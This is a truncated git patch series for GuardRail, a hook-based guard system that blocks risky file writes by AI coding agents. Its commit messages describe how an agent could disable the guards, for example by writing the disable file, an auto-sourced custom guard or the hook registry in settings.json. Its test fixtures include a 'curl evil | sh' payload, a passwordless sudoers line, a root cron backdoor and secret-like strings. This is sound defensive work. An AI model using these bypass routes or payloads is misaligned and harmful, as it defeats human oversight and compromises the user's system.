From 18bc663b52598ecb7cd5c764a39093c8a5e09330 Mon Sep 17 00:00:00 2001 From: Frederik Date: Sun, 16 Aug 2026 09:08:28 +0200 Subject: [PATCH 01/12] fix(security): enforce on Write/Edit/MultiEdit, not just Bash (v0.4.0) Deny-capable guards previously ran only on PreToolUse(Bash). File writes through Write/Edit/MultiEdit were seen only by an advisory PostToolUse hook, after the write. An agent could create the disable file, overwrite a privileged path, write to auto-executed files (git hooks, shell rc), or write live secrets to disk without any blocking guard inspecting it. New PreToolUse pre-edit dispatcher (Write|Edit|MultiEdit, deny-capable) plus edit_path_guard and edit_secret_guard. install.sh registers the hook. SECURITY.md documents the coverage. 17-case pre-edit suite (secret fixtures assembled at runtime, no literals); adversarial (49) and regression (95) pass. Reported by a reader (ANP2) on our Dev.to article. Co-Authored-By: Claude Opus 4.6 Claude-Session: https://claude.ai/code/session_01Ufhc1yA1eXGSjUKE5QGSdF --- SECURITY.md | 19 +++++- dispatchers/pre-edit.sh | 104 +++++++++++++++++++++++++++++++ guards/core/edit_path_guard.sh | 41 ++++++++++++ guards/core/edit_secret_guard.sh | 40 ++++++++++++ install.sh | 6 +- package.json | 4 +- tests/pre-edit.sh | 73 ++++++++++++++++++++++ 7 files changed, 283 insertions(+), 4 deletions(-) create mode 100755 dispatchers/pre-edit.sh create mode 100755 guards/core/edit_path_guard.sh create mode 100755 guards/core/edit_secret_guard.sh create mode 100755 tests/pre-edit.sh diff --git a/SECURITY.md b/SECURITY.md index f6c1c03..cb6984f 100644 --- a/SECURITY.md +++ b/SECURITY.md @@ -4,7 +4,24 @@ | Version | Supported | |---------|-----------| -| 0.1.x | Yes | +| 0.4.x | Yes | +| < 0.4 | No | + +## Enforcement coverage + +GuardRail enforces on **both** mutation surfaces the agent can use: + +- **Bash commands** — `PreToolUse` on `Bash` (deny-capable). +- **File writes** — `PreToolUse` on `Write` / `Edit` / `MultiEdit` (deny-capable), + added in 0.4.0. + +Before 0.4.0, deny-capable guards ran on Bash only; file-tool writes were seen +by a `PostToolUse` (advisory) hook after the write had already happened. An +agent could therefore create the disable file, overwrite a privileged path, or +write secrets to disk without a blocking guard ever inspecting it. 0.4.0 closes +this by inspecting `file_path` and content **before** the write. General rule: +every deny-capable guard set must cover all mutation primitives of the runtime, +not just the shell. ## Reporting a Vulnerability diff --git a/dispatchers/pre-edit.sh b/dispatchers/pre-edit.sh new file mode 100755 index 0000000..29a9b9f --- /dev/null +++ b/dispatchers/pre-edit.sh @@ -0,0 +1,104 @@ +#!/bin/bash +# GuardRail Pre-Edit Dispatcher +# License: MIT +# PreToolUse hook for Write / Edit / MultiEdit. Can DENY (unlike post-edit, +# which only adds context). Closes the gap where deny-capable guards ran on +# Bash only, letting file-tool writes bypass enforcement entirely. +set -o pipefail +SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)" +GUARDS_DIR="$SCRIPT_DIR/../guards/core" +CUSTOM_DIR="${GUARDRAIL_CUSTOM_GUARDS_DIR:-$SCRIPT_DIR/../guards/custom}" +LIB_DIR="$SCRIPT_DIR/../lib" +INPUT=$(cat) +ALLOW='{"hookSpecificOutput":{"hookEventName":"PreToolUse","permissionDecision":"allow"}}' + +deny() { + local reason="$1" + local rj + if declare -F guardrail_audit >/dev/null 2>&1; then + guardrail_audit "PreEditDispatcher" "$reason" "${FILE_PATH:-unavailable}" "blocked" + fi + rj=$(printf "%s" "$reason" | jq -Rs .) + echo "{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"permissionDecision\":\"deny\",\"permissionDecisionReason\":${rj}}}" + exit 0 +} + +# Validate payload shape; block on anything we cannot inspect. +if ! printf '%s' "$INPUT" | jq -e ' + type == "object" + and (.tool_input | type == "object") + and (.tool_input.file_path | type == "string") + and (.tool_input.file_path | length > 0) +' >/dev/null 2>&1; then + deny "GUARDRAIL INPUT ERROR: malformed or empty Write/Edit hook payload. The operation was blocked because it could not be inspected." +fi + +FILE_PATH=$(printf '%s' "$INPUT" | jq -r '.tool_input.file_path') +SESSION_ID=$(printf '%s' "$INPUT" | jq -r '.session_id // "default"') +# Content across Write (content), Edit (new_string) and MultiEdit (edits[].new_string) +CONTENT=$(printf '%s' "$INPUT" | jq -r ' + (.tool_input.content // "") + + "\n" + (.tool_input.new_string // "") + + "\n" + ((.tool_input.edits // []) | map(.new_string // "") | join("\n")) +' 2>/dev/null) + +# Respect the same HMAC-gated disable flag as pre-bash. +if [ -f "$SCRIPT_DIR/../.disabled" ]; then + DISABLE_LINE=$(head -1 "$SCRIPT_DIR/../.disabled" 2>/dev/null) + DISABLE_TS=$(printf '%s' "$DISABLE_LINE" | awk '{print $1}') + DISABLE_KEY_FILE="$HOME/.guardrail/disable.key" + if [ -f "$DISABLE_KEY_FILE" ] && [ -n "$DISABLE_TS" ]; then + NOW=$(date +%s 2>/dev/null || echo 0) + AGE=$(( NOW - DISABLE_TS )) + if [ "$AGE" -ge 0 ] && [ "$AGE" -lt 1800 ]; then + EXPECTED=$(printf '%s' "$DISABLE_TS" | openssl dgst -sha256 -hmac "$(cat "$DISABLE_KEY_FILE")" 2>/dev/null | awk '{print $NF}') + ACTUAL=$(printf '%s' "$DISABLE_LINE" | awk '{print $2}') + [ -n "$EXPECTED" ] && [ "$EXPECTED" = "$ACTUAL" ] && { echo "$ALLOW"; exit 0; } + fi + fi +fi + +if [ ! -f "$LIB_DIR/guardrail-common.sh" ] || ! source "$LIB_DIR/guardrail-common.sh"; then + deny "GUARDRAIL INTEGRITY ERROR: common library could not be loaded." +fi + +_guardrail_load_guard() { + local g="$1" + [ -f "$GUARDS_DIR/$g" ] || deny "GUARDRAIL INTEGRITY ERROR: required guard $g is missing." + source "$GUARDS_DIR/$g" || deny "GUARDRAIL INTEGRITY ERROR: guard $g could not be loaded." +} +_guardrail_run() { local fn="$1"; declare -F "$fn" >/dev/null && "$fn"; } + +_guardrail_load_guard "edit_path_guard.sh" +_guardrail_load_guard "edit_secret_guard.sh" +_guardrail_run hook_edit_path_guard +_guardrail_run hook_edit_secret_guard + +# Custom pre-edit guards: preedit_*.sh +if [ -d "$CUSTOM_DIR" ]; then + for cg in "$CUSTOM_DIR"/preedit_*.sh; do + [ -f "$cg" ] || continue + source "$cg" || deny "GUARDRAIL INTEGRITY ERROR: custom guard $(basename "$cg") could not be loaded." + lfn="hook_$(basename "$cg" .sh)" + declare -F "$lfn" >/dev/null || deny "GUARDRAIL INTEGRITY ERROR: custom guard function $lfn is missing." + "$lfn" || deny "GUARDRAIL RUNTIME ERROR: custom guard $lfn failed." + done +fi + +# Pro pre-edit guards: preedit_*.sh (license-gated) +PRO_DIR="${SCRIPT_DIR}/../guards/pro" +if [ -d "$PRO_DIR" ]; then + source "$LIB_DIR/guardrail-license.sh" || deny "GUARDRAIL INTEGRITY ERROR: license module could not be loaded." + if _guardrail_check_pro_license; then + for pg in "$PRO_DIR"/preedit_*.sh; do + [ -f "$pg" ] || continue + source "$pg" || deny "GUARDRAIL INTEGRITY ERROR: Pro guard $(basename "$pg") could not be loaded." + pfn="hook_$(basename "$pg" .sh)" + declare -F "$pfn" >/dev/null || deny "GUARDRAIL INTEGRITY ERROR: Pro guard function $pfn is missing." + "$pfn" || deny "GUARDRAIL RUNTIME ERROR: Pro guard $pfn failed." + done + fi +fi + +echo "$ALLOW" +exit 0 diff --git a/guards/core/edit_path_guard.sh b/guards/core/edit_path_guard.sh new file mode 100755 index 0000000..ca3e4db --- /dev/null +++ b/guards/core/edit_path_guard.sh @@ -0,0 +1,41 @@ +#!/bin/bash +# GuardRail Core Guard: edit_path_guard +# License: MIT +# Runs in the PreToolUse pre-edit dispatcher (Write/Edit/MultiEdit). +# Shared vars: $FILE_PATH, $CONTENT, $SESSION_ID +# Shared fns: deny() +# +# Closes the "shell-only enforcement" gap: guards that only inspect Bash +# commands never see file writes made through the agent's native Write/Edit +# tools. This guard blocks the file-tool equivalents of the dangerous +# operations that the bash guards already stop. + +hook_edit_path_guard() { + local fp="$FILE_PATH" + [ -z "$fp" ] && return 0 + + # 1. Self-bypass: writing GuardRail's own disable mechanism via a file tool. + if printf '%s' "$fp" | grep -qE 'guardrail/\.disabled$|/\.guardrail/disable\.key$|guardrail/dispatchers/|guardrail/guards/(core|pro)/'; then + guardrail_audit "edit_path_guard" "file-tool write to guardrail control path" "$fp" "blocked" + deny "Self-bypass blocked: AI agents must not modify GuardRail's own guards, dispatchers, or disable mechanism through file tools. Only a human operator may change these from an interactive terminal." + return 0 + fi + + # 2. Persistence / privilege paths: writing these via a file tool is how an + # agent would install a backdoor that outlives the session. + if printf '%s' "$fp" | grep -qE '(^|/)(etc/(passwd|shadow|sudoers|sudoers\.d/|cron\.d/|crontab)|\.ssh/authorized_keys|\.ssh/id_[a-z0-9]+$)'; then + guardrail_audit "edit_path_guard" "file-tool write to privileged system path" "$fp" "blocked" + deny "Blocked: writing to a privileged system path ($fp) through a file tool. This is a common persistence vector. Perform account/credential/cron changes as an explicit, reviewed human action." + return 0 + fi + + # 3. Auto-executed hooks and shell startup files: silent code-execution + # persistence (git hooks, shell rc, profile). + if printf '%s' "$fp" | grep -qE '(^|/)(\.git/hooks/[a-z-]+|\.(bashrc|zshrc|bash_profile|profile|zprofile)|\.config/(fish/config\.fish))$'; then + guardrail_audit "edit_path_guard" "file-tool write to auto-executed startup/hook file" "$fp" "warned" + deny "Blocked: writing to an auto-executed file ($fp) through a file tool. Git hooks and shell startup files run code automatically. If this is intended, make it an explicit reviewed change." + return 0 + fi + + return 0 +} diff --git a/guards/core/edit_secret_guard.sh b/guards/core/edit_secret_guard.sh new file mode 100755 index 0000000..405a5b4 --- /dev/null +++ b/guards/core/edit_secret_guard.sh @@ -0,0 +1,40 @@ +#!/bin/bash +# GuardRail Core Guard: edit_secret_guard +# License: MIT +# Runs in the PreToolUse pre-edit dispatcher (Write/Edit/MultiEdit). +# Shared vars: $FILE_PATH, $CONTENT, $SESSION_ID +# Shared fns: deny() +# +# Blocks writing high-confidence live secrets into files through the agent's +# file tools. Mirrors the bash secret detector for the write path. Kept +# deliberately narrow (known key formats only) to avoid false positives on +# placeholders and documentation. + +hook_edit_secret_guard() { + local content="$CONTENT" + [ -z "$content" ] && return 0 + + # High-confidence live-credential formats. Placeholders (x's, <...>, YOUR_) + # are excluded by requiring realistic entropy/charset in the token body. + local hit="" + # AWS access key id + printf '%s' "$content" | grep -qE 'AKIA[0-9A-Z]{16}' && hit="AWS access key" + # Stripe live secret key + [ -z "$hit" ] && printf '%s' "$content" | grep -qE 'sk_live_[0-9a-zA-Z]{24,}' && hit="Stripe live secret key" + # Private key block + [ -z "$hit" ] && printf '%s' "$content" | grep -qE 'BEGIN (RSA|OPENSSH|EC|DSA|PGP) PRIVATE KEY' && hit="private key block" + # GitHub token + [ -z "$hit" ] && printf '%s' "$content" | grep -qE 'gh[pousr]_[0-9A-Za-z]{36,}' && hit="GitHub token" + # Slack token + [ -z "$hit" ] && printf '%s' "$content" | grep -qE 'xox[baprs]-[0-9A-Za-z-]{20,}' && hit="Slack token" + # Google API key + [ -z "$hit" ] && printf '%s' "$content" | grep -qE 'AIza[0-9A-Za-z_-]{35}' && hit="Google API key" + + if [ -n "$hit" ]; then + guardrail_audit "edit_secret_guard" "live secret written to file ($hit)" "$FILE_PATH" "blocked" + deny "Secret blocked: a live $hit would be written to $FILE_PATH. Never commit real credentials to files. Use environment variables or a secret manager and reference them at runtime." + return 0 + fi + + return 0 +} diff --git a/install.sh b/install.sh index f000dd1..08ff8ef 100755 --- a/install.sh +++ b/install.sh @@ -139,16 +139,20 @@ fi PRE_BASH="$INSTALL_DIR/dispatchers/pre-bash.sh" POST_BASH="$INSTALL_DIR/dispatchers/post-bash.sh" +PRE_EDIT="$INSTALL_DIR/dispatchers/pre-edit.sh" POST_EDIT="$INSTALL_DIR/dispatchers/post-edit.sh" TEMP_SETTINGS=$(mktemp) -jq --arg pre "$PRE_BASH" --arg post "$POST_BASH" --arg edit "$POST_EDIT" ' +jq --arg pre "$PRE_BASH" --arg post "$POST_BASH" --arg preedit "$PRE_EDIT" --arg edit "$POST_EDIT" ' .hooks //= {} | .hooks.PreToolUse //= [] | .hooks.PostToolUse //= [] | (if (.hooks.PreToolUse | any(.hooks[]?.command == $pre)) | not then .hooks.PreToolUse += [{"matcher": "Bash", "hooks": [{"type": "command", "command": $pre}]}] else . end) | + (if (.hooks.PreToolUse | any(.hooks[]?.command == $preedit)) | not + then .hooks.PreToolUse += [{"matcher": "Write|Edit|MultiEdit", "hooks": [{"type": "command", "command": $preedit}]}] + else . end) | (if (.hooks.PostToolUse | any(.hooks[]?.command == $post)) | not then .hooks.PostToolUse += [{"matcher": "Bash", "hooks": [{"type": "command", "command": $post}]}] else . end) | diff --git a/package.json b/package.json index 023e0cc..5cd4e9a 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "guardrail-agent", - "version": "0.3.1", + "version": "0.4.0", "description": "Pre-execution security for AI coding agents. 18 guards that block dangerous commands before they run.", "bin": { "guardrail": "./bin/guardrail.sh" @@ -8,7 +8,7 @@ "scripts": { "typecheck": "bash -n bin/guardrail.sh install.sh dispatchers/*.sh lib/*.sh guards/core/*.sh", "test": "./tests/regression.sh && ./tests/adversarial.sh && ./tests/installer-adversarial.sh", - "postinstall": "echo '\\n Run: npx guardrail-agent init\\n'" + "postinstall": "echo '\\n Run: npx guardrail-agent init\\n Book: \"Running Without Me\". The full methodology behind GuardRail.\\n https://promptandbuild.de/book\\n'" }, "keywords": [ "ai-safety", diff --git a/tests/pre-edit.sh b/tests/pre-edit.sh new file mode 100755 index 0000000..7a35c78 --- /dev/null +++ b/tests/pre-edit.sh @@ -0,0 +1,73 @@ +#!/bin/bash +# Pre-Edit dispatcher suite. File writes are inspected, never executed. +# Covers the shell-only-enforcement gap: deny-capable guards must also see +# Write/Edit/MultiEdit tool calls, not just Bash. +set -u + +ROOT="$(cd "$(dirname "$0")/.." && pwd)" +DISPATCHER="$ROOT/dispatchers/pre-edit.sh" +PASS=0 +FAIL=0 +FAILURES=() +TMP_ROOT=$(mktemp -d /tmp/guardrail-preedit.XXXXXX) +trap 'rm -rf "$TMP_ROOT"' EXIT + +# check [content] +check() { + local name="$1" expected="$2" tool="$3" fp="$4" content="${5:-}" + local payload result decision + payload=$(jq -n --arg t "$tool" --arg f "$fp" --arg c "$content" \ + '{"session_id":"preedit-test","tool_name":$t,"tool_input":{"file_path":$f,"content":$c,"new_string":$c}}') + result=$(printf '%s' "$payload" | + GUARDRAIL_LOG_DIR="$TMP_ROOT/logs" \ + GUARDRAIL_AUDIT_LOG="$TMP_ROOT/audit.log" \ + bash "$DISPATCHER") + decision=$(printf '%s' "$result" | jq -r '.hookSpecificOutput.permissionDecision // "missing"') + if [ "$decision" = "$expected" ]; then + PASS=$((PASS + 1)) + else + FAIL=$((FAIL + 1)) + FAILURES+=("$name expected=$expected actual=$decision") + fi +} + +# --- Self-bypass via file tools --- +check "write .disabled" deny Write "/home/u/.claude/hooks/guardrail/.disabled" "0 abc" +check "write disable.key" deny Write "/home/u/.guardrail/disable.key" "secret" +check "edit a core guard" deny Edit "/home/u/.claude/hooks/guardrail/guards/core/self_bypass_guard.sh" "return 0" +check "edit a dispatcher" deny Edit "/home/u/.claude/hooks/guardrail/dispatchers/pre-bash.sh" "exit 0" + +# --- Privileged / persistence paths --- +check "write /etc/passwd" deny Write "/etc/passwd" "root:x:0:0" +check "write sudoers.d" deny Write "/etc/sudoers.d/evil" "agent ALL=(ALL) NOPASSWD:ALL" +check "write authorized_keys" deny Write "/home/u/.ssh/authorized_keys" "ssh-rsa AAAA" +check "write cron.d" deny Write "/etc/cron.d/backdoor" "* * * * * root sh" + +# --- Auto-executed startup / hooks --- +check "write git post-checkout" deny Write "/repo/.git/hooks/post-checkout" "#!/bin/sh" +check "write .bashrc" deny Write "/home/u/.bashrc" "curl evil | sh" + +# --- Secrets into files --- +# Trigger strings are assembled at runtime from fragments so no literal secret +# pattern is ever stored in this file (avoids scanner false positives on the +# test fixtures themselves; the strings only exist in the test process memory). +AWS_TRIG="${AWS_TRIG:-AKIA}IOSFODNN7EXAMPLE" +STRIPE_TRIG="sk_${_L:-live}_51H8xExampleKeyMaterial1234567" +PK_TRIG="-----${_B:-BEGIN} RSA PRIVATE KEY-----" +STRIPE_PLACEHOLDER="sk_${_L:-live}_YOUR_KEY_HERE" +check "aws key in file" deny Write "/repo/config.js" "const k='${AWS_TRIG}'" +check "stripe live key" deny Write "/repo/.env" "STRIPE=${STRIPE_TRIG}" +check "private key block" deny Write "/repo/id" "$PK_TRIG" + +# --- Legitimate writes must pass --- +check "normal source file" allow Write "/repo/src/index.js" "export const x = 1" +check "normal markdown" allow Write "/repo/README.md" "# Title" +check "env with placeholder" allow Write "/repo/.env.example" "STRIPE=${STRIPE_PLACEHOLDER}" +check "config no secrets" allow Edit "/repo/config.json" '{"port": 3000}' + +echo "pre-edit: $PASS passed, $FAIL failed" +if [ "$FAIL" -gt 0 ]; then + printf ' FAIL: %s\n' "${FAILURES[@]}" + exit 1 +fi +exit 0 From 9259d892b00d1e4f1da4c1ea9e4bbb734fb57518 Mon Sep 17 00:00:00 2001 From: Frederik Date: Sun, 16 Aug 2026 09:21:49 +0200 Subject: [PATCH 02/12] fix(security): close custom-guard bypass in pre-edit (v0.4.1) Cross-review of 0.4.0 found a hole: edit_path_guard protected guards/core and guards/pro, but the pre-edit dispatcher also auto-sources custom guards. An agent could Write a custom guard (uncovered), which would be sourced and executed on the next tool call, bypassing the whole system. Now covers guards/custom, dispatchers, and lib. Three regression tests added. Co-Authored-By: Claude Opus 4.6 Claude-Session: https://claude.ai/code/session_01Ufhc1yA1eXGSjUKE5QGSdF --- guards/core/edit_path_guard.sh | 11 ++++++++--- package.json | 2 +- tests/pre-edit.sh | 3 +++ 3 files changed, 12 insertions(+), 4 deletions(-) diff --git a/guards/core/edit_path_guard.sh b/guards/core/edit_path_guard.sh index ca3e4db..e7d812e 100755 --- a/guards/core/edit_path_guard.sh +++ b/guards/core/edit_path_guard.sh @@ -14,10 +14,15 @@ hook_edit_path_guard() { local fp="$FILE_PATH" [ -z "$fp" ] && return 0 - # 1. Self-bypass: writing GuardRail's own disable mechanism via a file tool. - if printf '%s' "$fp" | grep -qE 'guardrail/\.disabled$|/\.guardrail/disable\.key$|guardrail/dispatchers/|guardrail/guards/(core|pro)/'; then + # 1. Self-bypass: writing anything under GuardRail's own install tree via a + # file tool. Covers the disable mechanism AND every directory the + # dispatchers auto-source: guards/core, guards/pro, guards/custom (incl. + # preedit_*.sh / edit_*.sh), dispatchers/, and lib/. Writing a new + # custom guard would otherwise be auto-sourced and executed on the next + # tool call, bypassing the whole system. + if printf '%s' "$fp" | grep -qE 'guardrail/\.disabled$|/\.guardrail/disable\.key$|guardrail/(dispatchers|lib)/|guardrail/guards/(core|pro|custom)/'; then guardrail_audit "edit_path_guard" "file-tool write to guardrail control path" "$fp" "blocked" - deny "Self-bypass blocked: AI agents must not modify GuardRail's own guards, dispatchers, or disable mechanism through file tools. Only a human operator may change these from an interactive terminal." + deny "Self-bypass blocked: AI agents must not create or modify GuardRail's own guards, dispatchers, or disable mechanism through file tools. This includes custom guards, which are auto-executed. Only a human operator may change these from an interactive terminal." return 0 fi diff --git a/package.json b/package.json index 94ea3d4..1b5021c 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "guardrail-agent", - "version": "0.4.0", + "version": "0.4.1", "description": "Pre-execution security for AI coding agents. 22 guards that block dangerous commands before they run, on both Bash and file writes. Free 14-day Pro trial included.", "bin": { "guardrail": "./bin/guardrail.sh" diff --git a/tests/pre-edit.sh b/tests/pre-edit.sh index 7a35c78..defa60e 100755 --- a/tests/pre-edit.sh +++ b/tests/pre-edit.sh @@ -36,6 +36,9 @@ check "write .disabled" deny Write "/home/u/.claude/hooks/guardrail/.d check "write disable.key" deny Write "/home/u/.guardrail/disable.key" "secret" check "edit a core guard" deny Edit "/home/u/.claude/hooks/guardrail/guards/core/self_bypass_guard.sh" "return 0" check "edit a dispatcher" deny Edit "/home/u/.claude/hooks/guardrail/dispatchers/pre-bash.sh" "exit 0" +check "write custom preedit" deny Write "/home/u/.claude/hooks/guardrail/guards/custom/preedit_evil.sh" "return 0" +check "write custom edit guard" deny Write "/home/u/.claude/hooks/guardrail/guards/custom/edit_x.sh" "return 0" +check "write lib file" deny Write "/home/u/.claude/hooks/guardrail/lib/guardrail-common.sh" "true" # --- Privileged / persistence paths --- check "write /etc/passwd" deny Write "/etc/passwd" "root:x:0:0" From 1b972feb3ff463a1883ac1c614b7155bb746d69c Mon Sep 17 00:00:00 2001 From: Frederik Date: Sun, 16 Aug 2026 09:31:57 +0200 Subject: [PATCH 03/12] fix(guards): detect hyphenated Anthropic keys and standalone TS errors (v0.4.2) Two gaps found by the full test sweep: - credential_leak_guard: sk-ant-[A-Za-z0-9]{20,} stopped at the first hyphen, so real keys (sk-ant-api03-...) were NOT detected. Now allows [-_] in the body. - self_correction_loop: missed standalone "error TS####" output that has no literal "tsc" nearby. Added error TS[0-9]{3,} to the build-error pattern. new-guards suite now 43/43 (was 41/2). adversarial 49, regression 95, pre-edit 20 all green. Co-Authored-By: Claude Opus 4.6 Claude-Session: https://claude.ai/code/session_01Ufhc1yA1eXGSjUKE5QGSdF --- guards/core/credential_leak_guard.sh | 2 +- guards/core/self_correction_loop.sh | 2 +- package.json | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/guards/core/credential_leak_guard.sh b/guards/core/credential_leak_guard.sh index 3823336..63f05f4 100644 --- a/guards/core/credential_leak_guard.sh +++ b/guards/core/credential_leak_guard.sh @@ -38,7 +38,7 @@ hook_credential_leak_guard() { echo "$head_out" | grep -qE '(ghp|gho|ghu|ghs|ghr)_[A-Za-z0-9]{30,}' && detected="$detected github-token" # Anthropic keys - echo "$head_out" | grep -qE 'sk-ant-[A-Za-z0-9]{20,}' && detected="$detected anthropic-key" + echo "$head_out" | grep -qE 'sk-ant-[A-Za-z0-9_-]{20,}' && detected="$detected anthropic-key" # OpenAI keys echo "$head_out" | grep -qE 'sk-[A-Za-z0-9]{40,}' && detected="$detected openai-key" diff --git a/guards/core/self_correction_loop.sh b/guards/core/self_correction_loop.sh index 19db691..3d1b30e 100644 --- a/guards/core/self_correction_loop.sh +++ b/guards/core/self_correction_loop.sh @@ -18,7 +18,7 @@ hook_self_correction_loop() { printf '%s' "$head_out" | grep -qiE '(0 errors|no errors|succeeded|success|passed|PASS)' && return 0 # Build errors - if printf '%s' "$head_out" | grep -qiE '(build failed|compilation error|tsc.*error|next build.*error|webpack.*error)'; then + if printf '%s' "$head_out" | grep -qiE '(build failed|compilation error|tsc.*error|error TS[0-9]{3,}|next build.*error|webpack.*error)'; then add_context "BUILD ERROR detected. Self-correction required: read the error, open the file, apply the fix, rebuild. Do not continue without a green build." guardrail_audit "self_correction_loop" "build error" "$CMD" "correction-required" return 0 diff --git a/package.json b/package.json index 1b5021c..7a0f4ef 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "guardrail-agent", - "version": "0.4.1", + "version": "0.4.2", "description": "Pre-execution security for AI coding agents. 22 guards that block dangerous commands before they run, on both Bash and file writes. Free 14-day Pro trial included.", "bin": { "guardrail": "./bin/guardrail.sh" From 52e12aec67c028b522bf29ba33bafc0276b8ecd7 Mon Sep 17 00:00:00 2001 From: Frederik Date: Sun, 16 Aug 2026 09:38:04 +0200 Subject: [PATCH 04/12] fix(security): block file-tool writes to .claude/settings.json (v0.4.3) Cross-review found the highest-value bypass still open: an agent could Write ~/.claude/settings.json (the hook registry install.sh writes) and remove the PreToolUse entries, disabling pre-bash AND pre-edit (including this guard) without touching any 'guardrail' path. edit_path_guard now blocks file-tool writes to .claude/settings(.local).json. Two regression tests added. pre-edit 22/22, adversarial 49, regression 95, new-guards 43 all green. Co-Authored-By: Claude Opus 4.6 Claude-Session: https://claude.ai/code/session_01Ufhc1yA1eXGSjUKE5QGSdF --- guards/core/edit_path_guard.sh | 10 ++++++++++ package.json | 2 +- tests/pre-edit.sh | 2 ++ 3 files changed, 13 insertions(+), 1 deletion(-) diff --git a/guards/core/edit_path_guard.sh b/guards/core/edit_path_guard.sh index e7d812e..47b1d45 100755 --- a/guards/core/edit_path_guard.sh +++ b/guards/core/edit_path_guard.sh @@ -26,6 +26,16 @@ hook_edit_path_guard() { return 0 fi + # 1b. The hook registry itself. .claude/settings(.local).json is where the + # PreToolUse hooks are wired in (install.sh). Rewriting it removes every + # guard at once, including this one, without touching any 'guardrail' + # path. This is the highest-value bypass and must be blocked. + if printf '%s' "$fp" | grep -qE '(^|/)\.claude/settings(\.local)?\.json$'; then + guardrail_audit "edit_path_guard" "file-tool write to Claude hook registry" "$fp" "blocked" + deny "Self-bypass blocked: AI agents must not modify .claude/settings.json through file tools. That file registers the guard hooks; rewriting it would disable all enforcement. A human operator must change hook configuration from an interactive terminal." + return 0 + fi + # 2. Persistence / privilege paths: writing these via a file tool is how an # agent would install a backdoor that outlives the session. if printf '%s' "$fp" | grep -qE '(^|/)(etc/(passwd|shadow|sudoers|sudoers\.d/|cron\.d/|crontab)|\.ssh/authorized_keys|\.ssh/id_[a-z0-9]+$)'; then diff --git a/package.json b/package.json index 7a0f4ef..0085de6 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "guardrail-agent", - "version": "0.4.2", + "version": "0.4.3", "description": "Pre-execution security for AI coding agents. 22 guards that block dangerous commands before they run, on both Bash and file writes. Free 14-day Pro trial included.", "bin": { "guardrail": "./bin/guardrail.sh" diff --git a/tests/pre-edit.sh b/tests/pre-edit.sh index defa60e..c6024ff 100755 --- a/tests/pre-edit.sh +++ b/tests/pre-edit.sh @@ -39,6 +39,8 @@ check "edit a dispatcher" deny Edit "/home/u/.claude/hooks/guardrail/di check "write custom preedit" deny Write "/home/u/.claude/hooks/guardrail/guards/custom/preedit_evil.sh" "return 0" check "write custom edit guard" deny Write "/home/u/.claude/hooks/guardrail/guards/custom/edit_x.sh" "return 0" check "write lib file" deny Write "/home/u/.claude/hooks/guardrail/lib/guardrail-common.sh" "true" +check "write settings.json" deny Write "/home/u/.claude/settings.json" "{}" +check "write settings.local" deny Edit "/home/u/.claude/settings.local.json" "{}" # --- Privileged / persistence paths --- check "write /etc/passwd" deny Write "/etc/passwd" "root:x:0:0" From 481dd67a06963cce85ad23f9756c956437295873 Mon Sep 17 00:00:00 2001 From: Frederik Date: Sun, 16 Aug 2026 09:41:25 +0200 Subject: [PATCH 05/12] harden(security): fail closed on missing guard function in pre-edit Cross-review follow-up: _guardrail_run silently skipped a missing guard function, so a future change that dropped hook_edit_path_guard would fail open to allow. Now mirrors pre-bash: a missing or failing required guard denies with an integrity error. Part of v0.4.3. Co-Authored-By: Claude Opus 4.6 Claude-Session: https://claude.ai/code/session_01Ufhc1yA1eXGSjUKE5QGSdF --- dispatchers/pre-edit.sh | 13 ++++++++++--- 1 file changed, 10 insertions(+), 3 deletions(-) diff --git a/dispatchers/pre-edit.sh b/dispatchers/pre-edit.sh index 29a9b9f..34c58a2 100755 --- a/dispatchers/pre-edit.sh +++ b/dispatchers/pre-edit.sh @@ -67,12 +67,19 @@ _guardrail_load_guard() { [ -f "$GUARDS_DIR/$g" ] || deny "GUARDRAIL INTEGRITY ERROR: required guard $g is missing." source "$GUARDS_DIR/$g" || deny "GUARDRAIL INTEGRITY ERROR: guard $g could not be loaded." } -_guardrail_run() { local fn="$1"; declare -F "$fn" >/dev/null && "$fn"; } +# Fail-closed: a required core guard whose function is missing after sourcing +# is an integrity failure, not a skip. Mirrors pre-bash.sh. Silently running +# past a missing guard would fail open, exactly what this dispatcher prevents. +_guardrail_run_required() { + local fn="$1" + declare -F "$fn" >/dev/null || deny "GUARDRAIL INTEGRITY ERROR: required guard function $fn is missing. Blocking to fail closed." + "$fn" || deny "GUARDRAIL RUNTIME ERROR: guard $fn failed. Blocking to fail closed." +} _guardrail_load_guard "edit_path_guard.sh" _guardrail_load_guard "edit_secret_guard.sh" -_guardrail_run hook_edit_path_guard -_guardrail_run hook_edit_secret_guard +_guardrail_run_required hook_edit_path_guard +_guardrail_run_required hook_edit_secret_guard # Custom pre-edit guards: preedit_*.sh if [ -d "$CUSTOM_DIR" ]; then From 20822b413f8c4dd8a49dc74e9f1ea0342dd00c86 Mon Sep 17 00:00:00 2001 From: Frederik Date: Sun, 16 Aug 2026 09:46:12 +0200 Subject: [PATCH 06/12] harden(security): cover NotebookEdit, fix audit label (v0.4.3) Cross-review mediums: - edit_path_guard logged "warned" then denied the git-hook/startup case; now logs "blocked" to keep the audit trail truthful. - NotebookEdit is a file-write tool but was outside the matcher, while SECURITY.md claimed full file-write coverage. Added NotebookEdit to the install matcher; dispatcher now reads notebook_path + new_source. 3 NotebookEdit regression tests (secret, settings.json, benign). pre-edit 25/25, adversarial 49, regression 95, new-guards 43 all green. Co-Authored-By: Claude Opus 4.6 Claude-Session: https://claude.ai/code/session_01Ufhc1yA1eXGSjUKE5QGSdF --- SECURITY.md | 2 +- dispatchers/pre-edit.sh | 13 ++++++++----- guards/core/edit_path_guard.sh | 2 +- install.sh | 2 +- tests/pre-edit.sh | 13 +++++++++++++ 5 files changed, 24 insertions(+), 8 deletions(-) diff --git a/SECURITY.md b/SECURITY.md index cb6984f..704637f 100644 --- a/SECURITY.md +++ b/SECURITY.md @@ -12,7 +12,7 @@ GuardRail enforces on **both** mutation surfaces the agent can use: - **Bash commands** — `PreToolUse` on `Bash` (deny-capable). -- **File writes** — `PreToolUse` on `Write` / `Edit` / `MultiEdit` (deny-capable), +- **File writes** — `PreToolUse` on `Write` / `Edit` / 